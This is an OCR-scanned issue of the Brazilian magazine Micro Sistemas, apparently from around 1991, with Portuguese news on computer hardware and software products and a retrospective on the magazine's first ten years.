e COMPUTADORES PC XT AT °* COMPUTADOR MSX * FORMULARIOS e SISTEMAS
* DRIVES e PLACAS 80 COLUNAS e ETIQUETAS * CONTABILIDADE
* IMPRESSORAS o MODEM COMUNICACAO ® DISQUETES ° FOLHA DE PAGAMENTO
* NO BREAK ¢ INTERFACE MSX = PORTA DISQ. e ESTOQUE
. ®* GABINETES/FONTES * MONITORES ® CAPAS * FATURAMENTO

Solicite catalogo, atendemos todos os estados
em 24 horas via SEDEX.




NO BREAK WATCHMAN Il

A Brasvoltec, fabricante de estabiliza-
dores e No Breaks eletronicos, esta colo-
cando no mercado um No Break especial
para pontos de venda eletronicos (auto-
magcao comercial) e terminais de caixa ban-
carios - ‘0 No Break CC* (corrente continua).

O objetivo ao desenvolver esta linha de
produtos € reunir caracteristicas que pro-
porcionem ao usudrio total confiabilidade
no produto, aliada a uma grande economia.

0 ‘No Break CC' possui como caracte-
ristica exclusiva a dupla fungéo, ou seja,
simultaneamente ele carrega as baterias
e alimenta o consumidor. Possui outras ca-
racteristicas importantes: equaliza e for-
nece carga profunda as baterias € com isso
consegue evitar a degradacdo das mes-
mas, mantendo a tensédo de trabalho com
alta precisao (requerida pelos equipamen-
tos da area bancéria e comercial) e maior
economia, prolongando a vida dessas ba-
terias garantindo um aproveitamento por
um tempo muito maior.

Como carregador e retificador de bate-
rias, essa linha de produtos atende as exi-
géncias necessarias da area indastrial e
telecomunicagdes que utiliza corrente con-
tinua, principalmente em aplica¢des como:
petroquimica, USCA's (corrente continua),
protecdo catddica (tubulagdes e estruturas
enterradas), telefonia, telemedicao, banhos
de galvanoplastia, entre outros.

Esta linha apresenta algumas inovagoes
como placas de controle eletronico de il
tima tecnologia, que representam nimero
menor de componentes aumentando extra-
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Novo ‘No Break’ com
dupla fungdo

I

ordinariamente a confiabilidade (MTBF).
Ainda dentre essas inovacgdes é importante
também destacar que essa linha possui
transformador isolador com blindagem ele-
trostatica e protecdo contra surtos e tran-
sitérios, protecdo eletronica contra des-
carga excessiva de bateria (mais um fator
de economia de baterias) e um poderoso
filtro de saida para limitar o ‘RIPPLE' (rui-
duo residual da comrente alternada). Nao
esquecendo dos aspectos ergonométricos.

Possui design moderno, de tamanho
compéacto, com rodizios para facilitar o
transporte e liberar os usuarios do trans-
tornos com a instalagdo do produto, que
é totalmente silencioso e dispensa ar con-
dicionado.

Monitor de video
em cores de 19

O monitor de video em cores VTK
5000 AutoSync da Videotek, pertencente
a quarta geracao de produtos da empresa,
tem como principal vantagem a flexibili-
dade, pois opera nos modos CGA, EGA,
VGA, Super VGA, 8514 e outros.

0 VTK 5000 AutoSync possui um de-
sign’ funcional e moderno e pode ser for-
necido em gabinete de poliuretano ou em
chassi metélico, para montagem em rack
ou console e possui ainda base mével
(tilt/swivel base) opcional.

Expert

0 Memory-Mapper é uma placa que,
instalada num Expert modelo 1.1, expande
a memoria RAM principal do micro dos
64K existentes para 256K.

Toda a nova linha de software (aplica-
tivos e jogos) vindos do exterior ja fazem
uso desta expansdo de memédria. O DOS
2, uma versdo adiantada do DOS, permite
0 uso de‘winchester e roda com esta ex-
pansao. E importante notar que, mesmo
com a expansao, programas que nao a re-
conhecem ndo sentirdo aumento de me-
moria. Pode-se fazer uma analogia com a
memoéria LIM-EMS do PC, que foi criada
por fabricantes e produtores de software
para aumentar a meméria do equipamen
to, limitada em 640K, para seus progra-
mas. Logo, programas em que ndo esta
prevista a existéncia desta memo6ria, ndo
podem utiliza-la diretamente.

Work View, o sistema de
CAD para eletrénica

Um acordo entre a View Logic, dos Es-
tados Unidos, e a Gem Informatica, do
grupo galicho Digicon, possibilitou a co-
mercializagao no Pais do Work View, sis-
tema de CAD (Computer Aided Desing) pa
ra eletronica.

Presente em todas as fases do ciclo
de desenvolvimento de produtos e circui-
tos eletronicos, o programa, gue possui
seis mil copias instaladas em todo o
mundo, permite a captura do esquema
(entrada do desenho), depuragao e simu-
lacdo, auxiliando também na confeccdo
do projeto da placa de circuito impresso.

Bastante interativo, o Work View pode
ser dominado por engenheiros eletronicos
em apenas dois dias de aprendizado. Por
ser um sistema aberto, ele proporciona ao
usuario a possibilidade de agregar recur-
sos especificos da aplicagao.

A caréncia de tecnologia de desenvol-
vimento para eletrdnica no pais levou a
Gem a optar pela distribuicdo do produto.

0 Work View roda em plataformas 386,
SUN, DEC e IBM RT. O preco de uma con-
figuracdo basica, que requer um 386 com
4 Mb e winchester de 20 Mb, é de 20 mil
délares. As configuragGes sdo alteradas a
medida que vao sendo agregadas novas
bibliotecas. O sistema possui bibliotecas
para simulagdo de virtualmente todos os
circuitos, como os da familia 74, CMOS,
68040, 80468. 0 usuario pode ainda con-
feccionar o seu modelo.

- ———— - - —-——



Elgin elefrénica expande
a cultura laser

A Elgin Eletronica, desde que langou no
Brasil a primeira impressora a laser (Elgin-
laser 1006), tem se preocupado em apre-
sentar a cultura desse novo equipamento
aos seus principais distribuidores, uma vez
que a empresa nao comercializa seus pro-
dutos diretamente aos usuarios finais.

O principal objetivo em formar seus dis-
tribuidores, fornecendo todas as infor-
macoes necessarias ao trabaiho de impres-
soras a laser, é criar junto a eles uma
estrutura para a demonstracdo correta de
equipamento favorecendo, assim, aos usua-
rios.

Além disso, a Elgin Eletrdnica tem man-
tido contato com as software-hauses no
sentido de conpatibilizar a Elginlaser 1006
com os programas distribuidos ou repre-
sentados por essas empresas, viabilizando
a criacdo de drives especificos e também
a funcionalidade geral do equipamento.

Embora a Elgin Eletronica nao atue co-
mercialmente direto com os consumidores
de bens de informatica, ela esta inaugu-
rando uma estacgao de trabalho visando a
auxiliar este publico. Localizada na sede
da Elgin, a estac3o de trabalho -esta mu-
nida de um micro de alta performance, soft-
wares e impressoras. A finalidade desse
servigo é sanar todas as diividas a respeito
das impressoras laser, matriciais e lineares
da Elgin, ensinar seu uso correto e ope-
racao.

VGA Mono, um monitor
com alta resolucao
de imagem

A Videocompo, fabricante brasileira de
monitores para microcomputadores, lanca
no mercado o VGA mono, um monitor mo-
nocromatico com alta resolucdo de ima-
gem, destinado a microcomputadores
compativeis com a familia IBM (PC,XT e
AT). O produto, que possibilita o usuario a

obtencao de infinitos tons do preto ao
branco por sinal analégico, foi desenvolvi
do para ser utilizado em trés tipos diferen-
tes de resolugdo: 640 por 350 pontos,
720 por 400 pontos e 640 por 480 pon-
tos. Em qualquer desses modos, o VGA
Mono oferece leitura com reduzido des-
gaste visual e sem a incomoda desconti-
nuidade das imagéns na tela.

O novo monitor tem gabine em termo-
plastico injetado (ABS), material com pa-
drdo internacional de qualidade, e possui
base giratoria e basculante, que permite
o operador fazer ajustes horizontais e ver-
ticais no aparelho. Neste ponto, o monitor
da Videocompo ja vem adaptada as novas
normas ergondmicas do Ministério do Tra-
balho, portaria 3435.

0 monitor monocromatico da Video-
compo estara disponivel aos usuarios em
fosforo verde, branco ou ambar e para ser
utilizado devera ser acoplado a uma placa
controladora de video, padrao VGA, que a
empresa pretende comercializar. Esta pla
ca permitira a emulacéo de softwares dos
padroes VGA, EGA, CGA.

Dada a capacidade de produzir infinitos
tons entre o preto ac branco, o VGA Mono
tera aplicac3o significativa nos setores de
editoracdo grafica, cartografia e mapea-
mento. entre outros.

Burti abre fiial para
atender mercado
cariocd

No Rio de Janeiro, as agéncias de pu-
blicidade estdo aderindo aos servicos de
editoracdo eletronica e fotolito por com-
putador. S6 nos ultimos meses, foram in-
formatizados os sistemas de producao da
MPM, McCann Erickson e Norton.

Esta mudanca, na préatica, significa que
os profissionais do setor estdo trocando
o lapis e a prancheta por estacdes de tra-
balho computadorizadas. As artes-finais,
agora geradas por impressora térmica,
também podem ser gravadas em disque-
tes para serem lidas por um sistema au-
tomético de producdo de fotolito.

A Editora Graficos Burti, responsavel

pela introducdo desse sistema no merca
do brasileiro, ja atende mais de 15 entre
grandes e médias agéncias paulistas. Nos
tltimos meses, a empresa sentiu forte de-
manda no mercado carioca, o que justifi-
cou a abertura de uma filial de servigos
de fotolito em Sao Cristovao, na cidade do
Rio de Janeiro.

Os servisos prestados pela Burti con
sistem na utilizagao da ‘workstation’
Visiongraphics (microcomputador Macin-
tosh, impressora térmica Mitisubishi e
‘scaner’ -leitor de imagens - Sharp) para
producdo de artes finais, tanto na casa do
cliente quanto no bird que mantém em
Sdo Paulo.

Torminal Ineligente
de 32 bits

A Datanav lanca ne mercado o seu Ter-
minal Inteligente - TTI 2700 - de 32 bits.

Com uma arquitetura aberta e modular,
o TTlI 2700 baseia-se em uma CPU
68020, de 32 hits, com processador de
ponto flutuante 68882 e utiliza barramen
to VME de alto desempenho, podendo exi-
bir até 256 cores simultaneas, com uma
resolucdo de 1024 x 768 pixels.

Essa arquitetura pode ser configurada
para diversas aplicagdes como: controle
de processos, controle de trafego aéreo e
controle tatico de acompanhamento de al-
vos detectados por radares a bordo de
navios.

Numa versdo desenvolvida pelo IPQM,
Instituto de Pesquisas da Marinha, o Ter-
minal incorpora uma interface especial
para tratamento e apresentacdo em tem
po real do video radar.

O TTI 700 possui um programa residen
te que permite o acompanhamento e
predi¢do das posicdes futuras de alvos di-
versos. A tela gréfica é atualizada dinami-
camente, exibindo através de simbolos
graficos a posigéo atualizada de todos os
alvos de interesse na regido coberta pelo
radar do navio.

A exibicao dos alvos € controlada por
um nuacleo grafico padrdao GKS que foi
otimizado para operar residente no ter-
minal.

JOGOS

PARA
PC-XT AS

ULTIMAS
NOVIDADES

Para vocé gue deseja se distrair com
seu PC-XT compativel, nés temos a
solucéo:

¢ (s mais sensacionais jogos do mercado

=Mais de 300 titulos em jogos para PC-XT

®Garantimos por 30 dias a gravacao dos
JOEOS

e Atendemos pedidos por telefone ou
carta

e Garantimos 0 menor prazo de entrega
possivel ;

® Também trocamos jogos

e | igue-nos solicitando nosso catalogo e
maiores informagoes, nao esquecendo
de especificar o seu equipamento

AG INFORMATICA

Cx Postal 11-6501 CEP 70084
Brasilia-DF Tel.: (061)274-9964
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Em outubro de 1981 che-
gava as bancas o primeiro
exemplar de MICRO SISTE-
MAS. Em pouco mais de 40
paginas, a revista buscava
dar conta dos primeiros pas-
sos da jovem induastria de
hardware nacional, avaliar
suas perspectivas e fracar os
rumos provaveis para a infor-
matica no pais. Um projeto
ambicioso, se levarmos em
conta que as publicacfes do
género engatinhavam nos
outros paises e era impossi-
vel adivinhar como o publico
receberia a primeira revista brasileira
sobre microcomputadores. Além disso,
0s equipamentos, micros e periféricos,
existiam em t&o pouca quantidade que
podiam ser contados nos dedos.

O gue se sabia desde o principio é
que seria preciso vencer uma batalha
contra uma idéia bastante arraigada:
o dogma de que o assunto “‘informa-
tica" ndo poderia ser tratado ao nivel
das pessoas comuns. Um fato que ilus-
tra bem o quanto o computador era
considerado um instrumento nobre e
concebido apenas para usos “sérios"
foi o episédio que se seguiu a publi-
" cacdo de um artigo na edicdo nimero
3 da revista. A matéria versava sobre
o relacionamento de um adolescente
com o micro que ganhara de presente

ClepieD

FRICEIE NETSTA ERASILEIRA DE MERIECHPGTADORE §

DEZ ANOS DE
MICRO SISTEMAS

¥

e |

A PRTWETIA REVISTA BRASTLENU OF SICROSOMPGTASORES

SOM NOS MICROS
+ Ruidos no Specirum
. Eﬁihs':mn:m
o MSK
= Milsica no TRS-80
+ Dancarinas no Apple

Conheca um pouco
da historia e dos
bastidores da primeira
revista brasileira de
microcomputadores

de seus pais. O texto, em certa altura,
dizia mais ou menos o seguinte: “Um
dos primeiros programas que André
desenvolveu foi o de sua mesada. Com
base nos vencimentos que percebe por
meés, o programa, ainda incompleto,
foi elaborado para dar uma espécie de
saldo mensal do seu dinheiro...”.
Durante quase um ano, MS rece-

beu cartas em tom injurioso e até
mesmo agressivo de leitores que se
queixavam da atitude da revista em
mostrar o computador como um “brin-
quedo de filhinhos de papais’. A razio
de tanta indignacdo era 6bvia: nin-
guem, até entdo, tinha tido a coragem
de ilustrar tdo claramente um feno-
meno que estava acontecendo no
mundo todo - criancas e adolescentes
usando o computador em tarefas ba-
nais. Dificilmente outra imagem pode-
ria colocar em xeque o status de ma-
quinas para uma elite intelectual com
tanta clareza como a que foi exposta
naquela matéria.

Ao longo de seu primeiro ano, MI-
CRO SISTEMAS mesclava reporta-
gens com a palavra dos empresérios P
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do setor e as primeiras iniciativas, ainda
isoladas, de leitores em busca de so-
lucdes altemativas para os problemas
do hardware e na criacdo de progra-
mas de computador. Editorialmente,
o objetivo a ser alcancado era mostrar
o universo dos computadores através
de suas aplicacdes, e ndo em funcéo
de seus recursos ou desempenho téc-
nico. Era uma tarefa dificil, ndo s6
porque a equipe estava iniciando e
precisava tatear seu caminho pratica-
mente no escuro, mas principalmente
devido & propria imaturidade do mer-
cado. Tudo o que havia eram alguns
fabricantes de hardware, e mais nada.
Inexistiam quaisquer atividades de pro-
ducdo de software comercial e até
mesmo assisténcias técnicas capacita-
das a consertar as maquinas que, com
certa freqliéncia, emperravam.

Essa situagéo, como logo compro-
variamos, apresentava desdobramen-
tos delicados. Mal refeitos do incidente
ocorrido na revista nimero 3, uma
nova trombada com o status vigente
se seguiu a publicag&o do editorial de
MS 12. O texto, que relatava uma inu-
sitada experiéncia da editora da revista
com uma revenda de micros - cujo
nome evidentemente ndo era mencio-
nado (veja o box) - resultou numa inex-
plicavel pendenga entre uma cadeia
de lojas do Rio de Janeiro e o depar-
tamento comercial de MICRO SISTE-
MAS.

Insinuou-se ali, pela primeira vez,
a existéncia de uma lei nunca escrita
pela qual condenava-se a pratica de
expor as falhas e vicissitudes do mer-
cado brasileiro de microinformética.
Alegando incipiéncia, alguns fabrican-

tes e parte do comércio consideravam
injustas as criticas, pois - sempre se-
gundo essa o6tica - tudo se resumiria
a uma questdo de tempo para que os
erros fossem sanados, sem a neces-
sidade do alarde. Uma premissa que
poderia ser simplesmente ingénua se
ndo contrariasse os interesses do usua-
rio, justamente o maior beneficiario ale-
gado de toda a revolucdo da informa-
tica. MICRO SISTEMAS ainda
enfrentaria muitos problemas, ao longo
de seu percurso, por sua recusa em
se submeter aos termos dessa lei ima-
gindria.

Um dado curioso, que salta aos
olhos durante a releitura das revistas
dessa época, é que a noticia que inau-
gurou a sec¢io Bits (MS 1) anunciava
os preparativos para o lancamento de
um micro que, anos mais tarde, iria to-
mar conta do mercado: o PC da IBM.

Essa espécie de premonigéo involun-
taria adquire um significado ainda mais
expressivo quando se relé, hoje, a ma-
téria que introduziu o PC no mercado
mundial (veja a reproducdo na pagina
ao lado). Vale a pena meditar por al-
guns minutos se o0 avango técnico até
aqui alcancado foi acompanhado por
uma compreensdo maior, por parte do
mercado, do relacionamento entre a
maguina e usuario.

0 LEITOR ESCREVE A HISTORIA

Apesar de tudo o ano passou sem
maiores percalcos e ao final de 1982
ja podiamos atestar, com um pouco
mais de seguranca, a estabilidade do
primeiro veiculo nacional de microin-
formatica. Foi quando a direcéo edito-
rial de MS comecou a detectar mudan-
cas importantes no mercado.

Por volta da edicdo ndmero 20 fi-
cava claro que a era dos computado-
res como mito intangivel da moderna
tecnologia havia chegado ao fim. Até
entdo tinhamos vivido tempos onde
a inexperiéncia, a novidade, a falta de
informacdes técnicas e sobretudo o
distanciamento do uso corriqueiro do
micro eram predominantes. Tal si-
tuacdo precisava ser revertida, pois o
usuario dava sinais de estar avido por
por um tipo de conhecimento pratico
que até ent&o nunca havia sido tratado
como prioridade.

Como resultado de diversas reunides
entre colaboradores, assessores e edi-
tores, MICRO SISTEMAS chegou a
uma férmula editorial na qual se pri-
vilegiaria o trabalho dos leitores - afi-
nal, essa era a comunidade que estava

O PRIMEIRO BIT

“Ouem acreditaria, h dez anos
atrgs, que haveria computadores nos
Jares?”’ admitiu candidamente John
R. Opel, que desde janeiro de 1981
é o poderoso cheféo da IBM. Na ver-
dade essa candura da IBM é mais
charme que realidade. Nada do que
se passa no mundo dos computa-
dores escapa ao exame atento do
gigante da industria, e hd 5 ou 6 anos
que o mercado de microcomputa-
dores ndo cessa de crescer e supe-
rar as mais otimistas previsoes. Ul-
timamente as vendas de micros
estéo crescendo quase 50% ao ano.
As estimativas atuais projetam para
1985 um volume de vendas de cerca

de 10 bilhdes de ddlares, mais de um
terco das vendas da IBM em 1980.

Em 1981 as vendas estéo estima-
das em 1,5 bilhbes de dblares e 75%
do mercado de microcomputadores
é controlado por trés companhias:
Tandy Coporation, fabricante do
TRS-80; Apple Computer, fundada
em 1977 por Steven Jobs e Stephen
Wosniak, dois universitarios, com
130 mil cruzeiros da venda de um
Volkswagen utilizados para a cons-
trugdo de seu primeiro prototipo; e
a Commodore Internacional, que do-
mina 60% do mercado europeu. A
IBM achou gue afinal estava na hora
de entrar na brincadeira.

Caracteristicamente, ela comecou
a se preparar meticulosamente ha
uns 2 ou 3 anos. Em 1980 abriu suas
primeiras lojas de varejo em Balti-
more e Philadelphia, e em 1981 con-
tinuou expandindo sua rede. Mas na
verdade algo parece estar atrasando
o ingresso da IBM no campo, pois
desde o inicio de 1981 o “micro da
IBM* vem sendo anunciado e
adiado. Por enquanto, ndo se pode
mais do que especular sobre as
razdes do adiamento: serdo os japo-
neses? Serd o problema do software?
De qualquer modo, os mais recen-
tes anuncios dizem: antes de dezem-
bro de 1981. Mas ndo no Brasil.
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realmente produzindo novidades. Na-
quela altura, o hardware no Brasil ha-
via se estancado no tripé TRS
80-Apple-Sinclair e no interior da es-
tufa criada pela reserva de mercado
ndo havia clima, a médio prazo, para
o surgimento de nenhuma nova espé-
cie de equipamento. Num mercado
onde a informacdo técnica através de
livros era escassa e incompleta, e a co-
munica¢do entre usudrios e fabrican-
tes raramente ultrapassava a utopia,
a Unica solucdo para quem adquiria um
micro era arregacar as mangas e par-
tir sozinho em busca do conhecimento.
Tentar descobrir como tudo aquilo fun-
cionava e onde estaria, afinal, a logica
do computador, foi o grande desafio
que se impds naquele momento.

MICRO SISTEMAS, como nenhum
outro veiculo, soube compreender esse
desafio, transformando-se na grande
vitrine técnica brasileira. A partir de
1983 comecgaram a ser publicados men-
salmente programas para todos os ti-
pos de micros, em diversas linguagens
e para 0s mais variados propositos
-desde os mais curiosos, como um pro-
grama capaz de tocar musica nos mi-
cros Sinclair, “mudos” de fabrica (MS
24), até os protétipos de aplicactes
importantes como os primeiros edito-
res de texto (MS 21). Alguns temas
que iriam gerar polémica anos mais
tarde comecavam a ser discutidos ja
naquela época nas paginas de MS,
como o uso dos micros na criacdo de
roteiros para a televisdo (MS 20) e o
casamento da tecnologia com os te-
mas misticos e esotéricos (MS 26).
Essa fase culminou numa edicdo es-
pecial de segundo aniversario, com 145
paginas, que antevia o interesse por
um assunto recorrente na informatica
pessoal durante os anos seguintes: o
funcionamento dos sistemas operacio-
nais dos microcomputadores.

O mercado vivia os primeiros dias
da euforia com a microinformética pes-
soal e MS ndo media esforcos no pro-
posito de satisfazer os desejos mais ur-
gentes de seus leitores. Tornara-se
patente, por exemplo, uma grande cu-
riosidade pela linguagem Assembler,
que era objeto de um curso com am-
pla aceitacdo nas paginas da revista.
Ainda assim havia resisténcias a pu-
blicacdo de programas nesta lingua-
gem, principalmente devido & inexis-
téncia de uma padronizaco para a
digitac8io dos cddigos caracteristicos
da linguagem de méaquina. Foi espe-
cialmente preparada entfio uma série
de procedimentos visando facilitar essa
tarefa para a publicacdo do jogo "Ae-
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roporto”, em MS 22. O sucesso foi ime-
diato: mesmo quem nunca havia se
interessado por programacdo em lin-
guagem de maquina teve sua curiosi-
dade despertada para o assunto, en-
grossando uma fileira de aficionados
que “pegaram o espirito da coisa’ e
ndo tardaram a enviar suas proprias co-
laboracdes para MICRO SISTEMAS
utilizando o esquema proposto no “Ae-
roporto’’ - prontamente adotado, tam-
bém, pelas revistas concorrentes. O
fato curioso é que na ocasido o recém-
-criado CPD de MS contava com pou-
quissimos recursos, e na falta de uma
impressora adequada, as listagens de
codigos hexadecimais tiveram de ser
datilografadas e conferidas @ mio, num
exaustivo trabalho que transformou o
“Aeroporto” num voo rasante por al-
gumas madrugadas insones.
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Nenhuma outra iniciativa de MS,
contudo, fez tanto sucesso como a pu-
blicacdo do primeiro adventure nacio-
nal. O programa “‘Aventuras na Selva’’
esgotou rapidamente a edicdo nimero
23 e despertou no Brasil uma legido
de adventuremaniacos, desfazendo o
mito de que a diversdo eletrénica, por
forca da barreira da lingua portuguesa,
teria seus limites confinados aos jogos
de acdo descerebrados. O interesse
pelo programa foi tamanho que du-
rante meses MS recebeu pedidos de
remessa da edicdo 23 pelo correio, vin-
dos das mais diferentes partes do pais.
Durante esse periodo uma auténtica
mitologia foi se formando em torno do
programa. Uma das lendas, que circu-
lou durante a Feira de Informatica re-
alizada naquele ano, fazia supor que
0 jogo nao tinha solugdo possivel. Pura
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fantasia, como confirmariam pouco
depois as cartas de dezenas de leito-
res que sobreviveram ao desafio na
selva e, empolgados, pediam mais. Na
opinido de todos, MICRO SISTEMAS
acabara de escrever um dos mais emo-
cionantes capitulos da aventura de pro-
gramar.

A CONSOLIDACAO DE UM PROJETO

Dando continuidade a seus planos,
MICRQO SISTEMAS entrou em 1984
com o objetivo de mergulhar fundo no
universo das aplicacBes. Para tanto fo-
ram programadas edicdes baseadas em
diversos temas especificos (jogos, en-
genharia, educacdo, aplicacdes do-
meésticas), que obtiveram um indice
bastante favoravel de aprovacdo entre
os leitores. A edicdo sobre jogos, por
exemplo, fez tanto sucesso que o tema
foi bisado, sempre com éxito, durante
irés anos consecutivos.

Enquanto os nimeros da circulacdo
em bancas aumentavam a cada més,
editorialmente MS livrava uma larga
vantagem sobre suas concorrentes,
apresentando matérias cada vez mais
ousadas e mapeando as principais ver-
tentes do painel da microinformatica
brasileira. Uma edicdo, por exemplo,
dissecava a mecénica dos sistemas
operacionais, e sem perder 0 pique,
logo no més seguinte era feito um raio-
-X dos principais editores de texto do
mercado. Datam também dessa época
as primeiras matérias ja vistas numa
revista técnica brasileira a empreender
um surpreendente exercicio de meta-
linguagem de programacéo, invertendo
a posicéo tradicional do micro na ati-
vidade de programar: os “Programas
que Raciocinam” (MS 32), sobre inte-
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ligéncia artificial, e 'O Creator e o Pro-
ducer no CPD de MS* {MS 35), uma
andlise de dois aplicativos que criam
bancos de dados - ou seja, programas
que geram outros programas.

Qutra caracteristica desta época fo-
ram os micros inusitados, cujas carac-
teristicas técnicas ndo os qualificavam
para integrar nenhuma linha até ent&o
conhecida. Mutados e adaptados de
seus parentes mais préximos (TRS-
-80, APPLE ou Sinclair), esses com-
putadores causaram uma grande ex-
pectativa no mercado durante seu
lancamento. MICRO SISTEMAS, no
entanto, ndo se furtou ao seu papel
de veiculo de informacédo e, sem inte-
grar o coro do “oba oba", publicou as
mais contundentes analises de hard-
ware que se tem noticia no Brasil. E
desnecesséario dizer que o departa-
mento comercial da revista mais uma
vez se viu as turras com alguns fabri-
cantes.

MS falava a um numero cada vez
maior de leitores, e estes respondiam
enviando uma quantidade cada vez
maior de colaboragdes. Tanto assim
que, no terceiro aniversario da revista,
ndo houve duvidas: foi pautada uma
edicdo especial de 110 paginas s6 com
programas dos leitores. Essa relacéo
de reciprocidade, que para a equipe re-
presentava um valioso termémetro da
aceitacdo da revista, foi brindada com
um projeto muito especial: o MICRO-
BUG. Atendendo aos anseios dos
usudrios apaixonados pela progra-
macéo, para os quais € imprescindivel
a compreensdo da funcionalidade de
seus equipamentos, o MICROBUG foi
concebido como um instrumento que
possibilitasse efetivamente “enxergar
o micro por dentro”. Transcendendo
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o papel de um simples utilitario, foi es-
tabelecido um cronograma de publi-
cacdo seriada do projeto, o qual im-
punha um ritual particular de leitura
do texto e acompanhamento das lis-
tagens. Por esse caminho foi exposta,
com uma riqueza de detalhes até ali
inédita, toda a mecénica da criacdo
de um software.

A questdo do software, alias, foi tan-
gencial durante o ano de 1985 nas pa-
ginas de MS. Ela surgiu como pano
de fundo na abordagem dos proble-
mas de compatibilidade entre as diver-
sas familias de equipamentos (MS 46),
e em primeiro plano numa edigédo que
tratava o software, pela primeira vez,
sob o dngulo da comercializacdo como
produto (MS 48). Nas entrelinhas es-
tava claro o dilema: ou a criacdo de
software - ndo a traducgdo ou copia -era
compreendida e apoiada com a devida
seriedade, ou se assistiria nos anos se-
guintes ao crescimento incontrolavel
das atividades da pirataria, com con-
seqliéncias desastrosas para a microin-
formaética no pais. Infelizmente, as for-
cas do mercado ndo reagiram a tempo
e a pirataria acabaria rivalizando com
a queima de florestas como o esporte
predatorio nacional favorito dos anos
seguintes.

Com o passar do tempo 0s progra-
mas publicados em MICRO SISTE-
MAS tornavam-se cada vez mais ex-
tensos e sofisticados. No intrincado
jogo de acfo e estratégia “Quasar”
(MS 42), por exemplo, o autor se dava
ao luxo de oferecer de quebra um com-
pilador Basic completo para TRS 80,
a fim de garantir o félego acelerado
da aventura. A edicdo nimero 44, por
sua vez, trazia o "Anime’’, um sistema
de animac&o gréafica para a linha Sin-



clair superior em desempenho a qual-
quer software do género - inclusive os
estrangeiros, a venda no mercado. De-
talhe: s¢ a listagem do sistema preen-
chia trés paginas com codigos hexa,

No final de 1985 MS consolidava a
invejavel posicdo de lider ostensiva no
mercado editorial de microinformatica.
Ao mesmo tempo, chegavam a noti-
cia do lancamento dos micros MSX
e informacdes esparsas sobre o paula-
tino aumento da base instalada dos
PCs. A equipe técnica da revista, cuja
principal funcdo era produzir o mate-
rial editorial que tanto sucesso vinha
fazendo, vislumbrou a necessidade de
uma profunda avaliacdo critica quanto
aos rumos que MICRO SISTEMAS de-
veria seguir a partir daguele momento.
Havia chegado ao fim a fase do boom
dos micros pessoais, e parecia inevita-
vel o declinio de equipamentos cuja
defasagem técnica era grande demais
para ser desconsiderada. Possivel-
mente o projeto editorial de MS pre-
cisaria incorporar transformacoes ra-
dicais a fim de sintonizar a nova
realidade que o mercado anunciava.

A editoria, contudo, considerou que
ndo havia razdo para modificar a con-
sagrada féormula de sucesso de MICRO
SISTEMAS. O resultado disso & que
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a revista praticamente se limitou, du-
rante todo o ano de 1986, a repetir o
que havia feito nos anos anteriores.
Prosseguiu com a publicacdo de arti-
gos técnicos, andlises e programas dos
leitores, reprisando-se aqui e ali, com
poucas variantes, a abordagem de as-
suntos que sabidamente despertavam
maior polémica ou interesse. Apesar
do bom desempenho nas bancas, o
desgaste dessa férmula era evidente:
haviam desaparecido o arrojo e o ine-

UM EDITORIAL POLEMICO

Quem for a um grande shopping
center do Rio de Janeiro, provavel-
mente terd oportunidade de verifi-
car por si mesmo. La, uma grande
loja de equipamenios de som exibe,
do lado de fora da loja e com des-
taque, um microcomputador
D-8000.

Em frente ao micro da Dismac,
diversas criancas divertem-se digi-
tando seus nomes, enquanto os
adultos tentam, através da obser-
vacdo desse novo e cada v8z mais
participante produto da vida mo-
derna, compreender ‘o que é
aquilo”.

Perplexos, eles examinam com
atencdo o computador, e certamente
adorariam se ali estivesse rodando
um programa com um minimo de
inteligéncia e atratividade. Ao invés
disso, 18 esta o micro, tendo na tela
nada mais do que o cursor e algu-
mas frases e nomes escritos pelas
criancas.

Pensei: “que tipo de informacées
sera que eles tem sobre o que seja
um micro?”, E resolvi fazer um teste.
Aproximei-me do vendedor: “Moco,
o0 que é isso?”. Ele me explicou: “E
um minicomputador’. “'E para que
serve?’. “Ah, é um computador...
Serve para fazer calculos, essas coi-
sas’. “E como funciona?”’”“Olha, ele
tem um teclado igual ao de uma ma-
quina de escrever, daf a senhora te-
cla ali tudo o que quer saber’? Estava
chocada: “E ai, o que é gue ele
faz?".“Bom, ai ele faz os calculos dele
e da as informacoes todas... (ja meio
nervoso). Sabe, né? E um computa-
dor, so que é pequenininho. Faz tudo
que um computador grande faz'. Fiz
cara de maravilhada: “Ah, é.... Ani-
mado, ele concluiu com chave de
ouro: “E, esti todo mundo com-
prando. Até as grandes empresas,
elas também j3 estdo trocando aque-
les computadores enormes por mi-
cros. Faz tudo a mesma coisa’...

ditismo que caracterizavam MICRO
SISTEMAS.

As divergéncias entre a equipe téc-
nica e a redac#o da revista se acentua-
ram por ocasido do planejamento da
estratégia a ser cumprida por MS em
1987. Ficou estabelecido que a revista,
preservando o perfil que ja era conhe-
cido, deveria se direcionar gradual-
mente para um mercado que o mar-
keting da ocasido procurava
caracterizar como o “‘uso profissional
do computador” que, no parecer do
pessoal técnico, era o mesmo erro de
avaliacdo gue havia conduzido tantas
outras revistas de informatica do pais
ao fim inexoravel. Como conseqiién-
cia dessa deciso, até a metade do ano
toda a equipe técnica original termi-
nou se afastando da conducio de MS.

Durante algumas edicdes, na pri-
meira metade de 87, a revista se limi-
tou a uma férmula timida de publi-
cacdo de artigos e programas,
reprisando alguns projetos que tinham
sido sucesso em outras épocas. Ape-
sar disso se tornava bastante evidente
due esta pratica ndo estava encon-
trando ressondncia no mercado. Esse
fato, no entanto, n3o passou desper-
cebido a direcdo da ATI Editora, que
decidiu reconvocar toda a equipe téc-
nica no final de 1987 com o objetivo
de conduzir MS de volta a seu eixo
original.

UM NOVO COMECO

Era uma tarefa dificil. A defasagem
de quase dois anos impunha um sig-
nificativo esforco de reorganizacio edi-
torial, que precisava ser executado a
um sé tempo com o trabalho de con-
feccdo da revista. Imersa no trabalho
de arrumacdo da casa, sobrava pouco
tempo para a equipe investir na criacdo
de novos projetos. Fatores externos,
como a prolongada letargia do mer-
cado, acabaram amplificando os pro-
blemas e pela primeira vez em sua
breve historia, MS deixou de circular
mensalmente.

Apesar das dificuldades, as modifi-
cacdes introduzidas na revista demons-
traram apontar para a direcdo certa.
O primeiro objetivo era ampliar e aper-
feicoar o relacionamento da revista
com os leitores. Para isso foi criado o
Clube do Leitor (MS 73), que aumen-
tava o espaco para a publicacdo dos
trabalhos dos leitores, e redimensio-
nada a secd@o de cartas, a fim de dar
maior énfase a permuta de infor-

macdes e & divulgacdo dos problemas p
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enfrentados pelos usuérios na utili-
zac&o cotidiana de seus equipamentos.

O projeto PRO KIT reativou o espa-
co destinado aos artigos técnicos, tra-
